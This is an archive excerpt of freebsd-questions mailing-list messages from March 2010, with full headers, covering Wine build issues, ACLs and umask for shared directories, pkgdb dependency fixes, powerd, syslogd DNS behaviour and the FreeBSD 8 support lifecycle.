$B!Z(BBB$B$,0B$$![%M%C%H@\B3!">h$j49$($k$J$i:#!*(B http://campaign.live.jp/eaccess/Top/ From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 13:00:40 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A73B51065670 for ; Mon, 8 Mar 2010 13:00:40 +0000 (UTC) (envelope-from eitanadlerlist@gmail.com) Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223]) by mx1.freebsd.org (Postfix) with ESMTP id 3A4E68FC17 for ; Mon, 8 Mar 2010 13:00:39 +0000 (UTC) Received: by fxm23 with SMTP id 23so4727573fxm.3 for ; Mon, 08 Mar 2010 05:00:39 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type :content-transfer-encoding; bh=P+ZoOb3CyBkStEkyJHErKGzP/j+/1zLGWFn014H8+6E=; b=I/zGZuRp1nDOLz86eZrQ3wYkeawTPh05HKzpMiY+DZLzpssvwv2RBwzZpS5tAKEmmX QVFK73ZAkwdlkGTZzi8v6tO04OaUlGvSxEtmXkfDePXPU0g54966BmRpMVZtQHV8KnBc mEJi6QdyDJReI7X8Lbenxg6Cz7t0HFK8GW6Zk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type:content-transfer-encoding; b=ZK1ZwQI8G57649seJ8xZ8rxn+gr+b+I7bYW5O1czO3oMl3G4DPwi4PGnxnT6Fv2ERF zFiWERTiHunaT9bwEBeBfQXo/9HaZOl3TFOlJ9WKJ+1fTnbGqj3dkeOfGCw522sn/n3p aVU9f3mjSRVpKe6poyYhvHeHYiibHbZqsJgKc= MIME-Version: 1.0 Received: by 10.239.189.11 with SMTP id r11mr434548hbh.211.1268053239123; Mon, 08 Mar 2010 05:00:39 -0800 (PST) In-Reply-To: References: <201002281924.o1SJO6df078229@freefall.freebsd.org> From: Eitan Adler Date: Mon, 8 Mar 2010 15:00:19 +0200 Message-ID: To: Gerald Pfeifer Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: questions@freebsd.org Subject: Re: ports/144357: emulators/wine build failure X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 13:00:40 -0000 On Mon, Mar 8, 2010 at 11:41 AM, Gerald Pfeifer wrote: > On Mon, 8 Mar 2010, Eitan Adler wrote: >> Interesting - I just used whatever flex was in my path. Is wine making >> the same mistake? >> % /usr/local/bin/flex --version >> flex 2.5.35 > > The following in wine/Makefile > > =A0CONFIGURE_ENV=3D =A0... FLEX=3D"${LOCALBASE}/bin/flex" > > takes care of using the ports version instead of the base one. > > Gerald > rebuilding wine without any make.conf changed nothing From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 13:02:53 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 16D62106566C for ; Mon, 8 Mar 2010 13:02:53 +0000 (UTC) (envelope-from listone@deathbeforedecaf.net) Received: from mail-pz0-f196.google.com (mail-pz0-f196.google.com [209.85.222.196]) by mx1.freebsd.org (Postfix) with ESMTP id EC71E8FC1B for ; Mon, 8 Mar 2010 13:02:52 +0000 (UTC) Received: by pzk34 with SMTP id 34so1125649pzk.3 for ; Mon, 08 Mar 2010 05:02:52 -0800 (PST) Received: by 10.143.153.28 with SMTP id f28mr3209646wfo.129.1268052070099; Mon, 08 Mar 2010 04:41:10 -0800 (PST) Received: from [10.10.10.10] (0x7e.net [203.122.226.101]) by mx.google.com with ESMTPS id 21sm4676789pzk.8.2010.03.08.04.41.07 (version=TLSv1/SSLv3 cipher=RC4-MD5); Mon, 08 Mar 2010 04:41:09 -0800 (PST) From: Rob Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Date: Mon, 8 Mar 2010 23:11:03 +1030 Message-Id: <4A9C0B24-04BA-418D-81B6-99897FCC9E16@deathbeforedecaf.net> To: freebsd-questions@freebsd.org Mime-Version: 1.0 (Apple Message framework v1077) X-Mailer: Apple Mail (2.1077) Subject: ACLs, umask and shared directories X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 13:02:53 -0000 Hi Folks, I need to give a group of users write access to a shared directory. The = problem is, when one user creates a file, www1$ touch file1 www1$ ll total 8 drwxrwxr-x 2 root domain_users 512 Mar 8 03:11 . drwxr-xr-x 4 root wheel 512 Mar 8 03:10 .. -rw-r--r-- 1 www1 domain_users 0 Mar 8 03:11 file1 other users can't edit it. Solution 1 ---------- Change everyone's umask to 002. Unfortunately, these users are defined = in Active Directory and they're all in the same primary group - 002 is = not secure in this scenario. Solution 2 ---------- Set a default ACL on the parent directory,=20 www1$ getfacl -d . # file: . # owner: root # group: domain_users user::rwx group::rwx mask::rwx other::r-x but it doesn't have the desired effect, www1$ touch file1 www1$ getfacl file1 # file: file1 # owner: www1 # group: domain_users user::rw- group::rwx # effective: r-- mask::r-- other::r-- as the umask seems to override it - this was confirmed by Robert = Watson[1] in 2005. So does anyone have a better idea? Thanks Rob. [1] = http://lists.freebsd.org/pipermail/freebsd-fs/2005-October/001382.html From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 13:17:56 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 39DFE1065672 for ; Mon, 8 Mar 2010 13:17:56 +0000 (UTC) (envelope-from ltsampros@gmail.com) Received: from mail-ew0-f228.google.com (mail-ew0-f228.google.com [209.85.219.228]) by mx1.freebsd.org (Postfix) with ESMTP id BD1D68FC13 for ; Mon, 8 Mar 2010 13:17:55 +0000 (UTC) Received: by ewy28 with SMTP id 28so1300758ewy.13 for ; Mon, 08 Mar 2010 05:17:54 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:sender:from:to:cc:subject :in-reply-to:references:user-agent:date:message-id:mime-version :content-type; bh=8yDE9/+nE6hNVk+j/MpQ3xR/m4drpi4YLujzcoM0CDg=; b=KZEk8YKN4wyXkx3Rms/1Fe1kEZmvxkdXv4ZOl6s8wQeRFZ5yj9S9iurDzI2xhSM5eQ 383MKR39IdIyoMnAHwnonKCUWQJ7206bkcl4K7WvcVCEw5IxqjFrSTyRUVRxYptI8ciP qsvFuLWYV/mon6mUc4q3Jyp+XWtepDH04mr/A= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=sender:from:to:cc:subject:in-reply-to:references:user-agent:date :message-id:mime-version:content-type; b=IMdSiRK1pR7sKgKuZ5NIaKfkHdwMxxr83K4u4DhmcUNIt1ZKTjJLZo8ADLdEqDimDB CBdubdNmykD5+AlV8CZU9jQVn5UlczNaTU1xpbJ/7u8udPkEZD1hga4q524q6/1yaQJy zd1N6EOkEvIXUvomUCFJfp7mzf6kY2Ild6Klg= Received: by 10.213.65.76 with SMTP id h12mr3116979ebi.41.1268052844113; Mon, 08 Mar 2010 04:54:04 -0800 (PST) Received: from ltsampros-laptop.bifteki.lan (ivtec.upnet.gr [150.140.211.15]) by mx.google.com with ESMTPS id 24sm4059143eyx.4.2010.03.08.04.54.01 (version=TLSv1/SSLv3 cipher=RC4-MD5); Mon, 08 Mar 2010 04:54:03 -0800 (PST) Sender: Leonidas Tsampros From: ltsampros To: freebsd-questions@FreeBSD.org In-Reply-To: (Alexander Best's message of "Sun, 07 Mar 2010 16:35:56 +0100 (CET)") References: User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1 (gnu/linux) Date: Mon, 08 Mar 2010 14:53:50 +0200 Message-ID: <87fx4b6kkh.fsf@bifteki.lan> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Alexander Best Subject: Re: HTML5 under FreeBSD Desktop X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 13:17:56 -0000 Alexander Best writes: > recent chromium builds on http://chromium.jaggeri.com/ and > http://code.google.com/p/chromium-freebsd8/ support html5. don't know if the > firefox and opera ports support html5 yet. If you use the latest version of firefox , check this link: http://www.mozilla.com/en-US/firefox/video/?video=personas It played flawless on my system and I don't remember me having configured some option/port knob to enable the functionality. However, there is an ongoing battle regarding which codecs would be supported. Google/Apple support h264 while Mozilla/Opera prefer/advocate the Ogg theora one. I think this is a pretty thin picture of the situation but I guess you can google it around. So, don't expect all html5/video sites to work. > alex > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 13:22:51 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DCEE3106566C for ; Mon, 8 Mar 2010 13:22:51 +0000 (UTC) (envelope-from antoniok.spb@gmail.com) Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223]) by mx1.freebsd.org (Postfix) with ESMTP id 717598FC08 for ; Mon, 8 Mar 2010 13:22:51 +0000 (UTC) Received: by fxm23 with SMTP id 23so4748203fxm.3 for ; Mon, 08 Mar 2010 05:22:50 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=hjH8Vx17t1jIVb2r/FBNeadiLhENvSKNHBM278SEHis=; b=I9hA4veS0euBmY2+/4nq18iTsn7LGj7TQLyR8sHm6RvklmXKKumrkkoOBhGzyDHrdt KO7eol1mnkCfbqlpOIcy0bPu8BDIwQ5fCnDvgLHJNzmGuedrfFFTDfRo3EzZ5+z885O8 lWw2ai1EXuo3nN8t+cwtFsXHM87bMUeZC7tTw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=JwHoVgEPh1/WBW/Xrkmut2hEDgfUrpDchTPsJauPOEjzhmzHzc1ogyrSgxqDOb6Z4v LKWhZKMwWlL/OSmnTVp7vJcsYyQQnXrhrll9dEKsdUm3z8H3LIna8k9ilh4vqrlPiCpJ khBdd6/uLpJmOMoKWBAA5SElzsPnHA024kbd0= MIME-Version: 1.0 Received: by 10.239.160.75 with SMTP id b11mr453189hbd.117.1268052770737; Mon, 08 Mar 2010 04:52:50 -0800 (PST) In-Reply-To: References: From: =?UTF-8?B?0JDQvdGC0L7QvSDQmtC70LXRgdGB?= Date: Mon, 8 Mar 2010 15:52:29 +0300 Message-ID: <3f1c29e71003080452r532da107r1ccb9368102787f6@mail.gmail.com> To: n dhert Content-Type: text/plain; charset=KOI8-R Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: mysql,postgresql,client,server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 13:22:52 -0000 # pkg_db -F - that will auto-fix versions collisions between dependencies - it may help you. 2010/3/8 n dhert > MySQL and Postgresql appear in the freebsd with many different versions. > Normally ports have only one version (the latest) and you upgrade with > portupgrade. > > Sometimes a mysql-client or postgresql-client is installed as a dependenc= y > of another port, > (e.g. a Davical install today installed postgresql-client-8.2.15_1 as a > dependency whereas > postgresql-server already has a 8.3 and 8.4 version in the ports now) > Is it save to install the newest server version? > or should one install the same version as the client one already has ? > > Both for mysql and postgresq server, the corresponding client is a > dependendy. > I e.g. you already have mysql-client-5.0.90 but no mysql server yet, and > you > install > mysql-server-5.5.2., will it install mysql-client-5.5.2 alongside the > existing mysql-client-5.0.90 > or upgrade it ? > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > --=20 =F3 =D5=D7=C1=D6=C5=CE=C9=C5=CD, =E1=CE=D4=CF=CE =EB=CC=C5=D3=D3, http://kless.spb.ru/ From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 13:00:46 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 778131065670 for ; Mon, 8 Mar 2010 13:00:46 +0000 (UTC) (envelope-from gantianand01@gmail.com) Received: from mail-pz0-f196.google.com (mail-pz0-f196.google.com [209.85.222.196]) by mx1.freebsd.org (Postfix) with ESMTP id 4CBB38FC08 for ; Mon, 8 Mar 2010 13:00:46 +0000 (UTC) Received: by pzk34 with SMTP id 34so1124881pzk.3 for ; Mon, 08 Mar 2010 05:00:45 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=lQE31MVbSj3aX0WYqHnIgyIMu/LQCjZNDLUHTBrhrRk=; b=OSULx5jigsxofbiT7OGK38gybhbYOaqqQBcet5WTBDTVuzsDItFlRo1y4Ox2awpARe ND6L7mkHnrW/nA4PzA6kVJIRPebAiz7rr8er+tvJcCyqaI1e3/gqzF89Tvp1O72j06TG rK2gC2DyVX8i+Ny4umQGc+d0d9ips916G5Pas= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=mPVnzs6Q3uCg3TNoHgKdAsS5hJxlS1ONJh762h9lwL13mzLoaAQt5k7Rmzs5Fm3cPU sM7CQ1ert/8QLqg2F8lJWLIWbZgtlujZd6LDOFhExOHc+ot/0TE9yqJSoXWuYYeueniF cQj4LFmMi0+j36miI0Y8NCz8iZ8OhgoB9+wQw= MIME-Version: 1.0 Received: by 10.142.6.31 with SMTP id 31mr1534423wff.79.1268051366059; Mon, 08 Mar 2010 04:29:26 -0800 (PST) Date: Mon, 8 Mar 2010 12:29:26 +0000 Message-ID: From: anand ganti To: freebsd-questions@freebsd.org X-Mailman-Approved-At: Mon, 08 Mar 2010 13:32:27 +0000 Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: connecting a FreeBSD-4.10 to Internet using DSL with static ip address X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 13:00:46 -0000 i found the link on connecting bsd gnome to dsl internet darn helpful.i connected to dsl using the code written by mr doug i believe to work correctly inside a freebsd guest os inside vmware player using which i connected gnome to dsl internet .in between i had the tryst with vi typing code into rc.conf file had good fun there .typing this email from gnome bsd 8 internet email as a result .odes of gratitude From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 13:34:14 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 568DB1065673; Mon, 8 Mar 2010 13:34:14 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: from mail-pw0-f54.google.com (mail-pw0-f54.google.com [209.85.160.54]) by mx1.freebsd.org (Postfix) with ESMTP id 1F1828FC31; Mon, 8 Mar 2010 13:34:13 +0000 (UTC) Received: by pwj1 with SMTP id 1so4144371pwj.13 for ; Mon, 08 Mar 2010 05:34:13 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=VV4bOB0jWLuLEfulA2ru9XutM1k2+TV+UI1iJRD4cXw=; b=hGXJ77dmtbYFJGg1gmw3Fv85HUo3XNVu3yUDbcVN5QzxXcUuYr4P3zpCmOnr87JtAa spfWddHSWlIFdQMSfuWU9uN1Spc1FLD4gnFveZo2ULTK1ZwFqdmXFraJuI4l/Vxvp9+J ZszqKq+TkWl3ZOITNmZt1sfDBHOdayMQav3mQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=m2Inhn8ef8eixNeMwX7z1yrfn1YzH77IjeIYEbkvXHQ7nr1/jnfx2u+PMO936EJtUi Nb0vzhq5tEuqtmRpVf2jS8CpC2ISU43/jXp7ZgfG0jGkXsp09MBfAS3xDdgl5HZMJAWj +vElObqSO3F+2dym3eFGbra9V5fNVRPF3rFr8= MIME-Version: 1.0 Received: by 10.114.252.39 with SMTP id z39mr3280892wah.93.1268055253480; Mon, 08 Mar 2010 05:34:13 -0800 (PST) In-Reply-To: References: Date: Mon, 8 Mar 2010 06:34:13 -0700 Message-ID: From: Tim Judd To: Dan Naumov Content-Type: text/plain; charset=ISO-8859-1 Cc: Attilio Rao , FreeBSD-STABLE Mailing List , freebsd-questions@freebsd.org, Jeremy Chadwick Subject: Re: powerd on 8.0, is it considered safe? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 13:34:14 -0000 I've been running powerd for a while. Been running it on an ASUS B202. It brought my freq down to 100mhz when I checked on it. Stopping powerd brought the freq up to 1600, and restarting powerd brought it back to 100mhz eventually. You might need to load an ACPI module for your system. Mine would be acpi_asus.ko if I choose to run it. I've never seen powerd to cause panics. I'm sure it's possible, but I've never seen it. Mark +1 for the success here on this side. From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 14:04:53 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 96AFA106566C for ; Mon, 8 Mar 2010 14:04:53 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by mx1.freebsd.org (Postfix) with ESMTP id 53A888FC12 for ; Mon, 8 Mar 2010 14:04:53 +0000 (UTC) Received: from r55.edvax.de (port-92-195-209-204.dynamic.qsc.de [92.195.209.204]) by mx02.qsc.de (Postfix) with ESMTP id AF17B1E2B1; Mon, 8 Mar 2010 15:04:51 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id o28E4oos002113; Mon, 8 Mar 2010 15:04:50 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Mon, 8 Mar 2010 15:04:50 +0100 From: Polytropon To: =?UTF-8?Q?=D0=90=D0=BD=D1=82=D0=BE=D0=BD_=D0=9A=D0=BB=D0=B5=D1=81?= =?UTF-8?Q?=D1=81?= Message-Id: <20100308150450.8f88fdc2.freebsd@edvax.de> In-Reply-To: <3f1c29e71003080452r532da107r1ccb9368102787f6@mail.gmail.com> References: <3f1c29e71003080452r532da107r1ccb9368102787f6@mail.gmail.com> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Cc: n dhert , freebsd-questions@freebsd.org Subject: Re: mysql,postgresql,client,server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 14:04:53 -0000 On Mon, 8 Mar 2010 15:52:29 +0300, ŠŠ½Ń‚Š¾Š½ ŠšŠ»ŠµŃŃ wrote: > # pkg_db -F > - that will auto-fix versions collisions between dependencies - it may help > you. I'm sure you need the command "pkgdb -F" (without underscore) here; for automated run, use "pkgdb -aF". Note that pkgdb program is part of the portupgrade port. -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 15:39:54 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5B55A106564A for ; Mon, 8 Mar 2010 15:39:54 +0000 (UTC) (envelope-from robert@ml.erje.net) Received: from smtp-vbr5.xs4all.nl (smtp-vbr5.xs4all.nl [194.109.24.25]) by mx1.freebsd.org (Postfix) with ESMTP id E34D28FC0A for ; Mon, 8 Mar 2010 15:39:53 +0000 (UTC) Received: from xykert.erje.net (erje.net [80.126.62.176]) by smtp-vbr5.xs4all.nl (8.13.8/8.13.8) with ESMTP id o28FdpMu038249 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Mon, 8 Mar 2010 16:39:51 +0100 (CET) (envelope-from robert@ml.erje.net) Received: from ismet.erje.net (ismet.erje.net [IPv6:2001:888:1f33::8e45:5e]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by xykert.erje.net (PostFix 2.6.5) with ESMTPS id DC95792E3B0 for ; Mon, 8 Mar 2010 16:39:34 +0100 (CET) Received: (from robert@localhost) by ismet.erje.net (8.14.3/8.14.3/Submit) id o28FdYCe027993 for freebsd-questions@freebsd.org; Mon, 8 Mar 2010 16:39:34 +0100 (CET) (envelope-from robert@ml.erje.net) X-Authentication-Warning: ismet.erje.net: robert set sender to robert@ml.erje.net using -f Date: Mon, 8 Mar 2010 16:39:34 +0100 From: Robert Joosten To: freebsd-questions@freebsd.org Message-ID: <20100308153933.GI1160@ismet.erje.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.20 (2009-06-14) X-erje-MailScanner-Information: support@erje.net X-erje-MailScanner-ID: DC95792E3B0.D2BF7 X-erje-MailScanner: Ok found to be clean X-Spam-Status: No X-Virus-Scanned: by XS4ALL Virus Scanner Subject: syslogd looks up dns only once X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 15:39:54 -0000 Hi, migrating a syslogd server to another box this morning and updated the dns zonefile, all syslog clients continue to use the old box. Is this 'I only resolve at boot' syslogd behaviour intentional ? Now I manually need to HUP them all... quite silly. Regards, Robert From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 15:43:40 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 56A401065673 for ; Mon, 8 Mar 2010 15:43:40 +0000 (UTC) (envelope-from mailinglist@ucwv.edu) Received: from mail.ucwv.edu (mail.ucwv.edu [216.30.201.15]) by mx1.freebsd.org (Postfix) with ESMTP id 23CF48FC1E for ; Mon, 8 Mar 2010 15:43:39 +0000 (UTC) Received: from mail.ucwv.edu ([172.16.0.15]) by mail.ucwv.edu ([172.16.0.15]) with mapi; Mon, 8 Mar 2010 10:43:19 -0500 From: mailinglist To: "freebsd-questions@freebsd.org" Date: Mon, 8 Mar 2010 10:39:17 -0500 Thread-Topic: FreeBSD Support Cycle Thread-Index: AQHKvtYTyNxPbGh20k2x+Sicxdn98A== Message-ID: <93C575B79E9B01449EBBB084032BC570123208B75F@mail.ucwv.edu> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: FreeBSD Support Cycle X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 15:43:40 -0000 I'm possibly considering building a FreeBSD based NAS to provide NFS storag= e for vSphere in a production environment. I would use FreeBSD-8, amd64 va= riety. What is the expected EOS & EOL dates (end of support/end of life) f= or FreeBSD 8? I'm not sure if the EOL question matters for an open source = OS, but basically I'm just asking at what point in time would there no long= er be security updates and bug fixes made to the OS?= From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 15:53:15 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2D8A2106564A for ; Mon, 8 Mar 2010 15:53:15 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from lo.gmane.org (lo.gmane.org [80.91.229.12]) by mx1.freebsd.org (Postfix) with ESMTP id DCCE48FC14 for ; Mon, 8 Mar 2010 15:53:14 +0000 (UTC) Received: from list by lo.gmane.org with local (Exim 4.69) (envelope-from ) id 1NofGa-0004Xf-Qy for freebsd-questions@freebsd.org; Mon, 08 Mar 2010 16:53:12 +0100 Received: from pool-72-75-61-144.washdc.east.verizon.net ([72.75.61.144]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 08 Mar 2010 16:53:12 +0100 Received: from nightrecon by pool-72-75-61-144.washdc.east.verizon.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 08 Mar 2010 16:53:12 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Michael Powell Followup-To: gmane.os.freebsd.questions Date: Mon, 08 Mar 2010 10:52:25 -0500 Lines: 20 Message-ID: References: <93C575B79E9B01449EBBB084032BC570123208B75F@mail.ucwv.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7Bit X-Complaints-To: usenet@dough.gmane.org X-Gmane-NNTP-Posting-Host: pool-72-75-61-144.washdc.east.verizon.net Subject: Re: FreeBSD Support Cycle X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 15:53:15 -0000 mailinglist wrote: > I'm possibly considering building a FreeBSD based NAS to provide NFS > storage for vSphere in a production environment. I would use FreeBSD-8, > amd64 variety. What is the expected EOS & EOL dates (end of support/end > of life) for FreeBSD 8? I'm not sure if the EOL question matters for an > open source OS, but basically I'm just asking at what point in time would > there no longer be security updates and bug fixes made to the > OS? http://security.freebsd.org/#sup Of course, possibly subject to change or update. Usually any new additions of changes are reported in various @announce mailing lists. The security announce list will report on specifically the secure patch support question. -Mike From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 15:56:24 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D6AAB106566B for ; Mon, 8 Mar 2010 15:56:24 +0000 (UTC) (envelope-from ricardo.meb.jesus@gmail.com) Received: from gate.criticalsoftware.com (gate.criticalsoftware.com [62.28.132.186]) by mx1.freebsd.org (Postfix) with ESMTP id 900F18FC15 for ; Mon, 8 Mar 2010 15:56:24 +0000 (UTC) Received: from [192.168.1.55] (unknown [192.168.1.55]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by gate.criticalsoftware.com (Postfix) with ESMTP id 39AC2228338; Mon, 8 Mar 2010 15:56:22 +0000 (WET) Message-ID: <4B951E25.7050600@gmail.com> Date: Mon, 08 Mar 2010 15:56:21 +0000 From: Ricardo Jesus User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091204 Lightning/1.0b2pre Thunderbird/3.0 MIME-Version: 1.0 To: mailinglist References: <93C575B79E9B01449EBBB084032BC570123208B75F@mail.ucwv.edu> In-Reply-To: <93C575B79E9B01449EBBB084032BC570123208B75F@mail.ucwv.edu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "freebsd-questions@freebsd.org" Subject: Re: FreeBSD Support Cycle X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: ricardo.m.jesus@criticalsoftware.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , 